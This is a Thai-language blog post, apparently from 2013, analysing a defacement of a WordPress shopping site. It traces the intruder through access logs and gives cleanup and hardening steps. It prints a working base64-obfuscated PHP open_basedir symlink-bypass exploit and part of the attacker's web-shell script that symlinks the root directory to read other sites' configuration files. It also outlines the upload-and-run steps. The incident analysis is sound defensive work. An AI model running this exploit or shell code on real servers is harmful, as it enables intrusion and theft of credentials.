6/01/2556

Case Study: Web sites hacked, WordPress โดนแฮก และการแกะรอยแฮกเกอร์ (FingerPrint)

แฮกเกอร์:

ลักษณะการแฮก คือผู้ไม่หวังดีทำการอัพโหลดไฟล์ PHP สคริปต์ที่เขียนขึ้นเอง (ตัวอย่าง) ผ่านช่องโหว่ของปลั๊กอินสคริปต์อัพโหลดของ WordPress (“wp-content/uploads”) ขึ้นไปยังเว็บโฮสติ้ง โดยใช้ช่องโหว่ของ PHP 5.3.8 (exploits and vulnerabilities) ทำการ bypass ฟังก์ชั่น open_baseddir ให้เป็น Off (php.ini) หรือสมัครสมาชิกบนเว็บไซต์หลอกๆ แล้วเจาะช่องโหว่ผ่านยูสเซอร์ ทำให้สคริปต์สามารถทำงานทำงานบนไดร์เรกทอรีอื่นๆ ได้อีก คือยุ่มย่ามไปทั่วไดร์เรกทอรีเว็บไซต์ได้ตามสบาย เช่น การใช้เขียนสคริปต์คำสั่ง PHP ไปนำข้อมูลในไฟล์ “cat /etc/passwd” หรือการทำลิงก์ไปยัง / รูทไดเรกทอรี แล้วเขียน .htaccess ให้แสดงไฟล์ต่างบนเบราว์เซอร์ ลักษณ์นี้เรียกว่า PHP filesystem attacked สิ่งเหล่านี้แฮกเกอร์ล้วนใช้ประโยชน์จากช่องโหว่ของแอพพลิเคชั่น หรือใช้วิธีการที่เรียกกันว่า SQL Injection (การเจาะเข้าไปในระบบ) เพื่อเปลี่ยนแปลงข้อมูลเว็บไซต์และแสดงข้อมูลใหม่ต่อสายตาผู้เยี่ยมชมเว็บไซต์ ส่วนมากจะเป็นรูปภาพ หรือถ้อยคำไม่สุขภาพ เป็นต้น
ตัวอย่างโค๊ด [PHP 5.3.8 open_basedi() Bypass]: (ไม่ใช่สคริปต์สำหรับแฮก) ไป Base64 ดูโค๊ดกันเองนะครับ
/*
 * PHP 5.3.8 open_basedi() Bypasser
 *
 * Greetz: r0073r ( 1337day.com ), r4dc0re,Sid3^effects       & all members of r00tw0rm.com
 *
 * By CrosS
 * Only for Educational Purpose ))
 * Submit your exploits at > Submit@1337day.com
 *
*/
eval(base64_decode('JGZha2VkaXI9ImN4IjsNCiRmYWtlZGVwPTE2Ow0KDQokbnVtPTA7IC8vIG9mZnNldCBvZiBzeW1saW5rLiRudW0NCg0KaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dFVFsnZmlsZSddOw0KZWxzZSBpZighZW1wdHkoJF9QT1NUWydmaWxlJ10pKSAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsNCmVsc2UgJGZpbGU9IiI7DQoNCmVjaG8gJzxQUkU+PGltZyBzcmM9Imh0dHA6Ly93d3cucjAwdHcwcm0uY29tL2xvZ28ucG5nIj48UD48YQ0KaHJlZj0iaHR0cDovL3IwMHR3MHJtLmNvbS8iIHRpdGxlPSJSMDBUVzBSTSAtIFBIUCBTeW1saW5rKCkgQnlwYXNzZXIiPlIwMFRXMFJNIC0gUEhQIFN5bWxpbmsoKSBCeXBhc3NlcjwvYT4NCkF1dGhvciA6IENyb3NTDQo8cD5Gb3IgRWR1Y2F0aW9uYWwgUHVycG9zZSBPbmx5IEx1bHoNCjxwPlBIUCA1LjMuOCBzeW1saW5rIG9wZW5fYmFzZWRpciBieXBhc3MNCjxwPk1vcmU6IDxhIGhyZWY9Imh0dHA6Ly9yMDB0dzBybS5jb20vIj5SMDBUVzBSTSAtIFByaXZhdGUgQ29tbXVuaXR5PC9hPg0KPHA+PGZvcm0gbmFtZT0iZm9ybSINCiBhY3Rpb249Imh0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS5odG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuJyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iaHltIiB2YWx1ZT0iQ3JlYXRlIFN5bWxpbmsiPjwvZm9ybT4nOw0KDQppZihlbXB0eSgkZmlsZSkpDQoJZXhpdDsNCg0KaWYoIWlzX3dyaXRhYmxlKCIuIikpDQoJZGllKCJub3Qgd3JpdGFibGUgZGlyZWN0b3J5Iik7DQoNCiRsZXZlbD0wOw0KDQpmb3IoJGFzPTA7JGFzPCRmYWtlZGVwOyRhcysrKXsNCglpZighZmlsZV9leGlzdHMoJGZha2VkaXIpKQ0KCQlta2RpcigkZmFrZWRpcik7DQoJY2hkaXIoJGZha2VkaXIpOw0KfQ0KDQp3aGlsZSgxPCRhcy0tKSBjaGRpcigiLi4iKTsNCg0KJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7DQoNCmZvcigkYT0wOyRhPGNvdW50KCRoYXJkc3R5bGUpOyRhKyspew0KCWlmKCFlbXB0eSgkaGFyZHN0eWxlWyRhXSkpew0KCQlpZighZmlsZV9leGlzdHMoJGhhcmRzdHlsZVskYV0pKSANCgkJCW1rZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJY2hkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQkkYXMrKzsNCgl9DQp9DQokYXMrKzsNCndoaWxlKCRhcy0tKQ0KCWNoZGlyKCIuLiIpOw0KDQpAcm1kaXIoImZha2VzeW1saW5rIik7DQpAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KDQpAc3ltbGluayhzdHJfcmVwZWF0KCRmYWtlZGlyLiIvIiwkZmFrZWRlcCksImZha2VzeW1saW5rIik7DQoNCi8vIHRoaXMgbG9vcCB3aWxsIHNraXAgYWxscmVhZHkgY3JlYXRlZCBzeW1saW5rcy4NCndoaWxlKDEpDQoJaWYodHJ1ZT09KEBzeW1saW5rKCJmYWtlc3ltbGluay8iLnN0cl9yZXBlYXQoIi4uLyIsJGZha2VkZXAtMSkuJGZpbGUsICJzeW1saW5rIi4kbnVtKSkpIGJyZWFrOw0KCWVsc2UgJG51bSsrOw0KDQpAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KbWtkaXIoImZha2VzeW1saW5rIik7DQoNCmRpZSgnPEZPTlQgQ09MT1I9IlJFRCI+Y2hlY2sgc3ltbGluayA8YSBocmVmPSIuL3N5bWxpbmsnLiRudW0uJyI+c3ltbGluaycuJG51bS4nPC9hPiBmaWxlPC9GT05UPicpOw=='));
?>

ผลเสีย:

แน่นอนครับ ถ้าแก้ไขปัญหาได้เร็วก็โชดดีไปแล้ว แต่ถ้าไม่ทันการ กลุ่มแฮกเกอร์ก็จะประจานชื่อโดเมนเราต่อสายตาชาวโลก (แถมบันทึกชื่อเว็บไซต์ลงฐานข้อมูลให้ฟรีอีกต่างหากครับ)

แนวทางป้องกัน:

Webmaster: ครรอัพเดท CMS และ Plugin ที่ใช้งานอย่างสม่ำเสมอ (และก่อนอัพเดทควรตรวจสอบก่อนว่าเว็บเซิ์รฟเวอร์รองรับการทำงานหรือเปล่า)
Hosting Provider: เว็บเซิร์ฟเวอร์ควรทำ critical security update หรือ patch อย่างสม่ำเสมอ (เช่น PHP, Apache) และติดตามข่าวสาร exploit and vulnerability เพื่อรู้ทันแฮกเกอร์ (โดยปกติแล้วเหล่าแฮกเกอร์จะ submit exploits โชว์อยู่แล้ว)
สุดท้าย ไม่ว่าผู้ให้บริการเว็บโฮสติ้งจะระบบดีแค่ไหน เช่น การใช้เทคโนโลยีกลุ่มเมฆทำการกระจายโหลดโดยอัตโนมัติ (Cloud Technology) หรือระบบ HA ทั่วไป หากเว็บไซต์ยังขับเคลื่อนโดย CMS ผู้รับผิดชอบ (Webmaster) หรือ Web Developer (Outsource) ต้องใส่ใจเป็นพิเศษเรื่องความปลอดภัย
Case Study ก็คือแฮกเกอร์ทำการเจาะเข้าไปในระบบ (เจาะผ่านช่องทางไหน?) เพื่อเปลี่ยนแปลงข้อมูลเว็บไซต์ (ส่วนมากแล้ว หน้าแรก index ไฟล์) ส่วนข้อมูลใหม่ที่แสดงก็ขึ้นอยู่กับกลุ่มแฮกเกอร์เหล่านั้นใช้รูปภาพสัญญาลักษณ์อะไร หรืออาจถ้อยคำไม่สุขภาพ เป็นต้น แต่ที่สำคัญ case นี้แฮกเกอร์ไม่ได้ทำเท่าที่ว่ามา มีการรันสคริปต์ผ่านเว็บเบราว์เซอร์เพื่อให้ในการดึงข้อมูลระบบมาแสดง (รายละเอียดอธิบายด้านล่างครับ)
Indonesian Cyber Army
Indonesian Cyber Army
Indonesian Cyber Army
Indonesian Cyber Army
มาเริ่มเลยล่ะกัน
[ขั้นตอนที่ 1] – ให้สำรองไดรเรกทอรีที่ติดเชื้อไว้ทั้งหมด (ไดร์เรกทอรี WordPress)
[ขั้นตอนที่ 2] – สั่งหยุดการทำงานของเว็บเซิร์ฟเวอร์ (Apache)
[ขั้นตอนที่ 3] – แก้ไขปัญหาที่เกิดขึ้นอย่างรวดเร็ว (แบบชั่วคราวก่อน)
[3.1] ตรวจสอบไดร์เรกทอรี “wp-connent/uploads/” ว่ามีไฟล์แปลกบ้างไหม (ปกติ WordPress จะไม่มีไฟล์ PHP ในไดร์เรกทอรีนี้) หรือใช้วิธีเปรียบเทียบไฟล์กับข้อมูล backup ก็ได้
find . -wholename '*wp-content/uploads/*.php' -exec ls -al {} \;
ผลลัพธ์ที่ได้ (คัดลอกมาเป็นตัวอย่าง)
lrwxrwxrwx 1 apache apache 33 May 27 20:13 ./wp-content/uploads/sTein/news .. config.php -> /home/news/public_html/config.php
lrwxrwxrwx 1 apache apache 33 May 27 20:13 ./wp-content/uploads/sTein/pcap .. config.php -> /home/user1/public_html/config.php
lrwxrwxrwx 1 apache apache 42 May 27 20:13 ./wp-content/uploads/sTein/user1.. conf_global.php -> /home/user1/public_html/conf_global.php
lrwxrwxrwx 1 apache apache 34 May 27 20:13 ./wp-content/uploads/sTein/gdm .. Settings.php -> /home/gdm/public_html/Settings.php
lrwxrwxrwx 1 apache apache 38 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/haldaemon .. config.php -> /home/haldaemon/public_html/config.php
lrwxrwxrwx 1 apache apache 36 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/nscd .. wp-config.php -> /home/user1/public_html/wp-config.php
lrwxrwxrwx 1 apache apache 39 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/operator .. Settings.php -> /home/operator/public_html/Settings.php
lrwxrwxrwx 1 apache apache 34 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/avahi .. config.php -> /home/user1/public_html/config.php
lrwxrwxrwx 1 apache apache 38 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/user1.. Settings.php -> /home/user1/public_html/Settings.php
lrwxrwxrwx 1 apache apache 41 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/vmail .. configuration.php -> /home/vmail/public_html/configuration.php
lrwxrwxrwx 1 apache apache 35 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/root .. Settings.php -> /home/root/public_html/Settings.php
lrwxrwxrwx 1 apache apache 35 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/sshd .. Settings.php -> /home/sshd/public_html/Settings.php
lrwxrwxrwx 1 apache apache 42 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/operator .. conf_global.php -> /home/operator/public_html/conf_global.php
lrwxrwxrwx 1 apache apache 44 May 28 18:03 ./wp-content/uploads/products_img/JAMBAN/shutdown .. configuration.php -> /home/shutdown/public_html/configuration
ก่อนที่จะลบอาจใช้วิธีค้นหาไฟล์ที่มีการแก้ไขใน 24 ชั่วโมงที่ผ่าน (trick ดูเฉพาะไฟล์ที่เป็น utf8)
find . -mmin -1440 -iname "*.php"
จากนั้นให้ลบไฟล์เหล่านั้นทิ้งอย่างให้เหลือ :-
find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;
สคริปต์แฮกเกอร์จัดเต็มอะไรให้เราบ้าง (ไดร์เรอทอรีที่สร้างขึ้น) มาดูกันครับ ไล้ลบให้หมดครับ
./INDISHELL/
./wp-content/uploads/sTein/
./wp-content/uploads/products_img/
./wp-content/uploads/products_img/JAMBAN/
./wp-content/uploads/products_img/index.php
./confkiller.php
./index.php
จากนั้นลบไฟล์ที่ติดเชื้อ (Infected PHP files)
find . -iname "*utf*.php" -exec rm -rf {} \;
ระหว่างนี้สามารถสตาร์เซิร์ฟเวอร์เว็บเซิร์ฟเวอร์ได้ (เพื่อตรวจสอบ)
[โอเคดูเหมือนเว็บไซต์สามารถให้บริการต่อได้แล้ว] มาต่อเรื่องทางเทคนิคของแฮกเกอร์กันเลย
แล้วแฮกเกอร์มาจากไหน? ลำดับแรกให้ตรวจสอบ access_log (ขอโดเมน)
- ตรวจสอบไอพีแอดเดรสว่ามาจากที่ไหนมีที่ชุมหัวนอนหรือเปล่า โดยใช้ Web Tools ต่างๆ เช่นwww.maxmind.comwww.ip2location.com
180.244.249.92 (อินโดนีเซีย) มาจากกลุ่ม Indonesian Cyber Army
Location: Bogor, Indonesia, Asia
ISP: PT Telkom Indonesia
“วาว ว่าว ว้าว” มีที่หลับนอนซะด้วย (การแฉกลุ่มคนเหล่านี้ไม่จำเป็นต้องซ่อนไอพีแอดเดรส)
180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202
แฮกเกอร์เรียกฟังก์ชั่น sws=sym ซึ่งสคริปต์จะสร้าง symlink ต่างๆ นาๆ
180.244.249.92 - - [28/May/2013:14:54:09 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
แฮกเกอร์เรียกฟังก์ชั่น Bypass Read
180.244.249.92 - - [28/May/2013:14:54:11 +0700] "GET /confkiller.php HTTP/1.1" 200 4842
จากนั้นแฮกเกอร์เอกซคิวไฟล์ confkiller.php โดยที่สคริปต์จะไปสร้างไดร์เรกทอรี Indishell, INDISHELL พร้อมกำหนดสิทธ์ให้เป็น 0777
180.244.249.92 - - [28/May/2013:14:54:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน/httpd/html/shop/&x=upload HTTP/1.1" 200 13665
180.244.249.92 - - [28/May/2013:14:54:15 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน/httpd/html/shop/ HTTP/1.1" 200 136865
แฮกเกอร์เริ่มใช้ช่องธีมของ WordPress ชื่อธีม eShop (สำหรับคนไหนใช่อยู่ อ่านมาถึงตรงนี้น่าจะรู้สึกร้อนๆ หนาวๆ)
180.244.249.92 - - [28/May/2013:14:54:20 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
หลังจากอัพโหลดไฟล์ผ่านช่องโหว่ WordPress + ธีม ก็ได้เวลาสั่งให้สคริปต์ทำงาน
ถ้าดูจาก log จะเห็นว่าแฮกเกอร์ใช้เวลาไม่ถึง 5 นาที รายละเอียดโค๊ดสคริปต์สามารถดูได้จากไฟล์ files.php (ไม่ขออัพโหลดสคริปต์ขึ้นให้ดูนะครับ เพื่อนความปลอดภัยเดี๋ยวนำไปใช้ในทางที่ไม่เหมาะสม)
ขั้นตอนถัดมาให้ดาวน์โหลดไฟล์ที่แฮกเกอร์สร้างขึ้น แล้วเปิดด้วยโปรแกรม Text editor เพื่อดูสคริปต์ว่าไปยุมยามอะไรที่ไหนบนไดร์เรกทอรีระบบบ้าง (บางไฟล์สคริปต์มีการเข้ารหัส ต้อง decode)


แนวทางการแก้ไข:

ดาวน์โหลดไฟล์ /eShop/upload/index.php และ upload.php เปิดด้วยโปรแกรม Text Editor ตรวจสอบว่า filetypes ที่อัพโหลดได้เป็นนามสกุลไรบ้าง (วิธีป้องการชั่วคราวก็แค่ไม่อนุญาตให้อัพโหลดไฟล์ php)
แต่ถึงแม้ไม่อนุญาตให้อัพโหลดไฟล์นามสกุล PHP ได้ แต่ถ้าอัพโหลด png เป็นรูปโป้ ก็เหมือนเดิม
ช่องโหว่นี้ลำดับแรกต้องแก้ไขที่ themes ก่อนค่อยไปอุดช่องโหว่ที่เว็บเซิร์ฟเวอร์
ตัวอย่างโค๊ดจะ redirect ไปหน้า home page
/var/www/html/ช้อปปิ้ง.โดเมน.คอม/httpd/html/shop/wp-content/themes/wpshop/upload/​index.php​
if (!isset($_SERVER['HTTP_REFERER'])){
header("Location: /");
exit;
}


คำแนะนำ:

- อัพเกรด Apahce, PHP
- อัพเกรด WordPress เป็นเวอร์ชั่นล่าสุด
- เปลี่ยนยูสเซอร์ และรหัสผ่าน ทั้ง WordPress admin และ MySQL (ปกติเก็บเป็น plain text ที่ไฟล์ wp-config.php)


How to exploit deface web shopping

- อัพโหลดไฟล์สคริปต์
http://ช้อปปิ้ง.โดเมน.คอม/wp-content/themes/wpshop/upload/
- รันไฟล์สคริปต์
http://ช้อปปิ้ง.โดเมน.คอม/wp-content/uploads/products_img/สคริปต์.php


เครื่องมือที่ใช้:

- PHP Decoder
http://www.unphp.net/
คราวนี้มาดูรายละเอียดจาก access_log ไฟล์กันบ้างครับ
### –> START: ACCESS YOUR SITE ###
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/plugins/sitepress-multilingual-cms/res/css/language-selector.css?v=2.0.4.1 HTTP/1.1" 200 5615
180.244.249.92 - - [28/May/2013:14:48:25 +0700] "GET /category/coffee/bean/ HTTP/1.1" 200 50899
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/slider.css HTTP/1.1" 200 2474
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/superfish.css HTTP/1.1" 200 3633
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/thickbox.css HTTP/1.1" 200 4014
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/style.css HTTP/1.1" 200 35201
### –> START ATTACKING ###
เปิดเว็บไซต์พาท /wp-content/themes/อีช้อปปิ้ง/upload/upload.php โดยใช่ช่องโหว่ของปลั๊กอิน จากนั้นแฮกเกอร์อัพโหลดไฟล์สคริปต์ (idca.php) ไฟล์นี้เข้ารหัสไว้มากกว่าหนึ่งฟังก์ชั่น
จากนั้นรันเรียกไฟล์สคริปต์ตามด้วยพาทที่ต้องการ (?y ดีฟอลล์พาทที่เก็บข้อมูลเว็บไซต์)
180.244.249.92 - - [28/May/2013:14:48:47 +0700] "POST /wp-content/themes/อีช้อปปิ้ง/upload/upload.php?img=&nonce= HTTP/1.1" 200 169
180.244.249.92 - - [28/May/2013:14:49:07 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 4042
180.244.249.92 - - [28/May/2013:14:49:07 +0700] "GET /wp-content/uploads/products_img/idca.php?favicon HTTP/1.1" 303 -
180.244.249.92 - - [28/May/2013:14:49:08 +0700] "GET /wp-content/uploads/products_img/idca.php?favicon HTTP/1.1" 303 -
180.244.249.92 - - [28/May/2013:14:49:15 +0700] "POST /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961
180.244.249.92 - - [28/May/2013:14:49:21 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/ HTTP/1.1" 200 19904
180.244.249.92 - - [28/May/2013:14:49:39 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/ HTTP/1.1" 200 19904
### –> [1] END ATTACKED SUCCESS ###
พยายามเจาะไปเรื่อยๆ จนแฮกเกอร์สามารถเรียกฟังก์ชั่นอัพโหลดผ่านไฟล์สคริปต์ idca.php แล้วทำการอัพโหลดไฟล์สคริปต์อื่นเขาไปยังรูทไดเรกทอรีของโดเมนนั้นๆ 
180.244.249.92 - - [28/May/2013:14:49:41 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/ HTTP/1.1" 200 27718
180.244.249.92 - - [28/May/2013:14:49:44 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:49:51 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/ HTTP/1.1" 200 20880
180.244.249.92 - - [28/May/2013:14:49:54 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:49:59 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961
180.244.249.92 - - [28/May/2013:14:50:02 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 121198
180.244.249.92 - - [28/May/2013:14:50:05 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665
180.244.249.92 - - [28/May/2013:14:50:10 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13730
180.244.249.92 - - [28/May/2013:14:50:54 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124263
180.244.249.92 - - [28/May/2013:14:51:07 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124383
180.244.249.92 - - [28/May/2013:14:51:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124383
180.244.249.92 - - [28/May/2013:14:51:18 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&edit=/var/www/html/โดเมน-B/httpd/html/ช้อป/newfile.php HTTP/1.1" 200 12513
180.244.249.92 - - [28/May/2013:14:51:27 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&edit=/var/www/html/โดเมน-B/httpd/html/ช้อป/newfile.php HTTP/1.1" 200 46661
### –> [2] END ATTACKED SUCCESS ###
ดูเหมือนทำงานกันเป็นทีมเล็กๆ โดยพยายามเจาะเข้าหน้า admin ของ WordPress ด้วย
[Indonesian and Chaina]
180.244.249.92 - - [28/May/2013:14:53:12 +0700] "GET /files.php HTTP/1.1" 200 2832
142.4.101.26 - - [28/May/2013:14:53:12 +0700] "GET /wp-login.php HTTP/1.0" 200 2245
อัพโหลดไฟล์ files.php สำเร็จ
180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202
142.4.101.26 - - [28/May/2013:14:53:13 +0700] "POST /wp-login.php HTTP/1.0" 302 -
180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
### –> [3] END ATTACKED SUCCESS ###
อัพโหลดไฟล์เพิ่มเติม confkiller.php
180.244.249.92 - - [28/May/2013:14:53:21 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961
180.244.249.92 - - [28/May/2013:14:53:24 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 129458
180.244.249.92 - - [28/May/2013:14:53:26 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665
180.244.249.92 - - [28/May/2013:14:53:32 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13734
180.244.249.92 - - [28/May/2013:14:53:42 +0700] "POST /confkiller.php HTTP/1.1" 200 5422   #<--hacker: code="" file="" files.php="" name="" upload="">
180.244.249.92 - - [28/May/2013:14:53:43 +0700] "POST /confkiller.php HTTP/1.1" 200 5243   #<--hacker: code="" confkiller.php="" file="" name="" upload="">
### –> [4] END ATTACKED SUCCESS ###
สั่งผ่านเว็บเบราว์เซอร์เรียกสคริปต์ไฟล์ confkiller.php ทำงาน
180.244.249.92 - - [28/May/2013:14:53:45 +0700] "GET /INDISHELL/ HTTP/1.1" 200 705

180.244.249.92 - - [28/May/2013:14:54:09 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:11 +0700] "GET /confkiller.php HTTP/1.1" 200 4842
180.244.249.92 - - [28/May/2013:14:54:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665
180.244.249.92 - - [28/May/2013:14:54:15 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 136865
180.244.249.92 - - [28/May/2013:14:54:20 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:54:23 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:25 +0700] "GET /files.php?sws=passwd HTTP/1.1" 200 5520
**************
180.244.249.92 - - [28/May/2013:14:54:26 +0700] "POST /files.php?sws=passwd&save=1 HTTP/1.1" 200 21005
**************
180.244.249.92 - - [28/May/2013:14:54:29 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202
180.244.249.92 - - [28/May/2013:14:54:34 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:36 +0700] "GET /files.php?sws=joomla HTTP/1.1" 200 2202
180.244.249.92 - - [28/May/2013:14:54:36 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:37 +0700] "GET /files.php?sws=wp HTTP/1.1" 200 2202
180.244.249.92 - - [28/May/2013:14:54:37 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:38 +0700] "GET /files.php?sws=vb HTTP/1.1" 200 2202
180.244.249.92 - - [28/May/2013:14:54:38 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:41 +0700] "GET /files.php? HTTP/1.1" 200 2832
เป็นอันเรียบร้อย หน้าหลักโฮมเพจ
### –> [5] START: ATTACK UNSUCCESSFUL ###
พยายามเจาะเข้าไปยังโดเมนที่เหลือต่อ
**************
180.244.249.92 - - [28/May/2013:14:54:48 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/ HTTP/1.1" 200 20880
**************
180.244.249.92 - - [28/May/2013:14:54:52 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/ HTTP/1.1" 200 30970
180.244.249.92 - - [28/May/2013:14:55:24 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678
180.244.249.92 - - [28/May/2013:14:55:52 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/&x=upload HTTP/1.1" 200 14128
180.244.249.92 - - [28/May/2013:14:55:57 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/&x=upload HTTP/1.1" 200 14155
180.244.249.92 - - [28/May/2013:14:56:04 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678
180.244.249.92 - - [28/May/2013:14:56:15 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678
180.244.249.92 - - [28/May/2013:14:56:51 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:56:55 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/ HTTP/1.1" 200 17516
180.244.249.92 - - [28/May/2013:14:57:16 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/ HTTP/1.1" 200 28180
180.244.249.92 - - [28/May/2013:14:57:26 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/ HTTP/1.1" 200 146442
180.244.249.92 - - [28/May/2013:14:57:31 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/&x=upload HTTP/1.1" 200 13852
180.244.249.92 - - [28/May/2013:14:57:37 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/&x=upload HTTP/1.1" 200 13879
180.244.249.92 - - [28/May/2013:14:57:45 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:57:47 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-D/ HTTP/1.1" 200 47166
### –> END: ATTACK UNSUCCESSFUL ###
ไม่สำเร็จ นอนดีกว่า :- 
ตัวอย่าง ไฟล์สคริปต์ files.php
@mkdir('sym',0777);
$htcs  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$f =@fopen ('sym/.htaccess','w');
fwrite($f , $htcs);
@symlink("/","sym/root");
